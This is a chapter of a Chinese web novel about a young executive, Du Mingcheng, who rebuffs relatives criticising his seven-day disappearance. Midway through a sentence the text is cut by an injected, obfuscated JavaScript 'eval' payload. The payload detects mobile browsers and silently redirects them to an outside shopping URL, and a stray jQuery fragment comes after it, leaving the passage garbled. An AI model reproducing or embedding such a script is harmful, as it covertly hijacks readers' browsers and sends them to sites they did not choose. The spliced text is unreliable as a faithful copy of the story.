锦都的夜色浸着一层凉薄的雾,连绵阴雨席卷整座城市。
黑色商务平稳破开湿漉漉的车流,车轮碾过积水,溅起两道细碎冰冷的水花。
Sallysain坐在副驾,指尖捏着厚厚一叠签字文件,一路低声汇报着科藤集团和盛晟后续安排。
“刘助理已经进公司任职,沈家三房那边暂时没有察觉异样,董事长昨天宴请一众合作商,席间有意散播项目谣言,我已经安排公关提前把控舆论,不会影响我们。另外沈耿今日主动递来晚宴邀约,想约您下周碰面谈合作。”
杜明城靠在后座真皮座椅上,修长的指尖随意抵着太阳穴,眼帘半垂,漫不经心地听着。
窗外霓虹倒影落在他冷白凌厉的侧脸上,忽明忽暗,衬得眼底藏着化不开的沉郁。
那场山里雨夜沈砚发来的消息,还静静停留在聊天界面顶端。
——我不想你和盛英杰一起赛车。
一想到沈砚会躲在被窝里,压低亮度偷偷给他发消息、带着几分别扭占有欲的模样,他紧绷多日的心口,不自觉软了一块。
“沈耿的晚宴回绝。”杜明城嗓音低沉淡漠,不带一丝波澜,“所有项目流程、合作推进,一切照旧、正常运转。二叔爱闹、爱折腾、爱造势,随他去,不必刻意阻拦,不必提前设防,不必浪费精力应对。”
他太了解这位二叔。贪利、短视、急躁、爱做表面文章,一辈子活在算计与攀比里,只会造势哗众,不懂真正操盘布局。跳得越欢,破绽越多,越容易自取灭亡。
“好的老板。”Sallysain低头快速记录指令,稍作迟疑,还是如实汇报,“还有一事,盛少今日下午反复call您,连续三通电话,询问您归城时间。他新改装的顶配赛车已经完工,调校完毕,随时可以试车,特意邀您明日前往赛道。”
闻言,杜明城唇角勾起一抹浅淡冷嗤,指尖点开和沈砚的对话框,想起自己那句半开玩笑的“就算撞车,我也只会撞你”,心底平添几分慵懒的玩笑。
“告诉他没空。”
他半点不想把时间浪费在赛车竞速上,从前只当消遣,如今沈砚一句介意,他便连敷衍都懒得做。
车辆缓缓驶入半山别墅区,安保识别车牌自动敞开铁艺大门,沿路景观树被大雨冲刷得油亮,昂贵的路灯穿透雨雾,在平整石板路上铺出长长的光晕。
商务停在独栋别墅雕花雨檐下,佣人早已撑着黑伞等候在台阶处。
“明天一早把所有文件送过来,其余琐事自行处置。”杜明城推开车门,淡淡吩咐副驾的助理。
“明白。”
佣人连忙撑伞上前,稳稳罩住他周身,隔绝漫天冷雨。
杜明城迈步踏上光洁大理石台阶,低声淡淡询问:“家里人,今天都在?”
“是的先生,老宅诸位长辈、亲戚、全员等候您,已经等候整整一下午了。”佣人如实应答,语气谨慎。
杜明城眸底掠过一丝极淡的冷意,不出所料。
七日失联、凭空消失,足够这群蛰伏在家、无事生非、常年内斗观望的亲戚,聚集一堂,坐等发难,坐等挑刺,坐等拿捏他的把柄。
他颔首,不再多言,抬步踏入灯火通明的别墅客厅。
厚重实木大门在身后轻轻合拢,隔绝室外风雨,屋内暖融融的恒温气息瞬间包裹周身。
老宅今夜除了老爷子全员都在。
杜如闲端坐主位,面色沉肃,盯着他,而杜玉若则守在沙发旁,同样盯着他看。
一众旁系亲戚围坐四周,目光灼灼,全都等着看他失责缺席、肆意任性的笑话,等着抓他的把柄发难。
七天凭空消失、断联失联,更何况他手握杜家半数实权,手握城北核心项目,一举一动牵动整个集团命脉,这般肆意失踪,足以成为旁人攻讦他的利刃。
不等他换鞋站稳,杜玉若率先忍不住上前一步,声音带着压了多日的急恼:“表哥!你整整七天去哪了?所有人联系不上你,所有人都快急疯了!你到底知不知道分寸?”
话音刚落,杜如闲立刻顺势接话,轻轻抬手,摆出语重心长的模样,目光沉沉看着他。
“你马上就要三十岁,身居高位,一举一动牵动整个集团。做事怎么还能如此儿戏、如此任性妄为?”
“核心项目悬而不定,核心团队无人坐镇,公司高层人心惶惶,家族上下日夜牵挂。你说消失就消失,说断联就断联,半点交代没有,半点担当没有。万一这七日之间项目出纰漏、合作商撤资,谁来兜底?你担得起整个杜家的损失吗?”
这番话说得滴水不漏,端足了长辈立场,看似大义凛然、为公为家,实则死死扣住“失职失责、不堪大任”的帽子给他。
周遭一众旁系亲戚瞬间顺势附和,七嘴八舌的声音密密麻麻压下来,层层叠叠,充斥整间奢华客厅。
“是啊明城,太任性了,一点稳重样子都没有。”
“都快三十的人了,还玩小孩子失踪的把戏,太不成熟。”
“身居高位最忌情绪化、随性妄为,再这样下去,手里的权柄迟早压不住。”
“幸好这七日没出大事,若是真出了变故,谁替你收拾烂摊子?”
“年轻人还是太浮躁,稳不住心性,担不起大业。”
满室聒噪,字字句句都在审判他的对错。
换作从前,杜明城或许还会顾及家族体面,敷衍解释一二,表面过得去就行。
可今夜不行。
他刚从梦魇里挣脱,心底揣着对沈砚的牵挂,揣着连日的压抑与内耗,本就耐性耗尽、心绪极差。
耳边这些无关紧要的指责与说教,只让他觉得可笑又聒噪。
他只是失踪了七天,就给他扣帽子,若来日,他有事耽搁几分钟,这些人不得把他骂死。
他垂眸掸了掸袖口微湿的褶皱,眉眼冷冽,看着这场闹剧。
面对满室质问,他只淡淡抬眼,目光扫过全场,笑着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17831330|211342||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
问:“我的行踪,需要向各位报备?”
“……”
瞬间满堂聒噪骤然骤停。
杜如闲脸色一僵,强行端出长辈姿态,沉声道:“我们是关心你!是怕你在外惹事、耽误正事!你这是什么态度?”
“关心?”杜明城唇角勾起一抹极淡、极凉的嗤笑,语气懒怠又锋利,字字戳破虚伪,“二叔是关心我的安危,还是关心我消失这七天,有没有给你留够挑事夺权的空子?”
杜如闲眼底算计瞬间碎裂,脸色青白交加,瞬间哑口无言。
一旁的杜明德见场面僵持难堪,连忙上前打圆场,试图缓和紧绷对峙的气氛,轻声劝和:“明城,别这么尖锐说话,长辈都是好意,大家确实是为你担心……”
“担心我?”杜明城转头看向他,依旧带着不容置喙的冷硬,“我的事,我自有分寸。我能兜底我的所有任性,也能稳住所有项目局势。”
“我惹的事,我自己兜底。我犯的错,我自己承担。我所有的任性,我全部能一一收尾,稳得住项目,镇得住局势,扛得住后果。”
一番话,堵得旁人无从辩驳。
在旁从始至终未吭声的杜如晦终于沉声开口,满室肃静:“杜明城。玩失踪、断联失联、抛下所有事务,你还有理?集团事务搁置,家里上下人人忧心,你就这副态度?”
杜明城静静迎上长辈威严目光,语气平淡道:“我人不在公司七日,可所有项目照常推进,所有流程正常运转,公关稳控舆论,团队各司其职,没有一笔亏损、一桩纰漏、一次失误。”
他抬眼,清冷目光再次扫过全场看戏的众人,道:“在座各位闲暇无事,与其日日盯着我的行踪指手画脚、捕风捉影、伺机挑刺,不如回头好好管管自己手里的烂摊子。”
无人敢接话。
所有人都清楚,杜明城从回来到至今,手段狠绝、眼光毒辣,加上老爷子心属他,杜家大半基业都被他一手稳住。
杜如闲不死心,硬着头皮开口:“就算项目无事,你这般任性失联,就是心性不稳!难担大任!”
“心性稳不稳,轮不到你来定义。”杜明城直接打断他,语气冷得不带一丝温度,“我任性,我担责。我消失,但我也收尾。”
这群亲戚,常年坐享其成、只会内斗算计、只会站队观望,从未为杜家真正稳住半分局势、拿下半分资源,比起这些人,他的那点幼稚行为,又算得了什么?
杜如闲被怼得颜面尽失,脸色涨得通红,再也不敢多言一字。
杜玉若看着面前全身上下写满“生人勿近”的表哥,轻轻叹气。
满室寂静里,杜明城最后淡淡落音,终结所有纷争:“不该管的管了,也不怕天打雷劈。”
说完,他不再看满堂神色各异的众人,转身抬步,径直上楼。
背影冷决绝疏离,将所有家族的聒噪、束缚、猜忌,尽数隔绝在身后。
楼下众人面面相觑,无人再敢多嘴半句。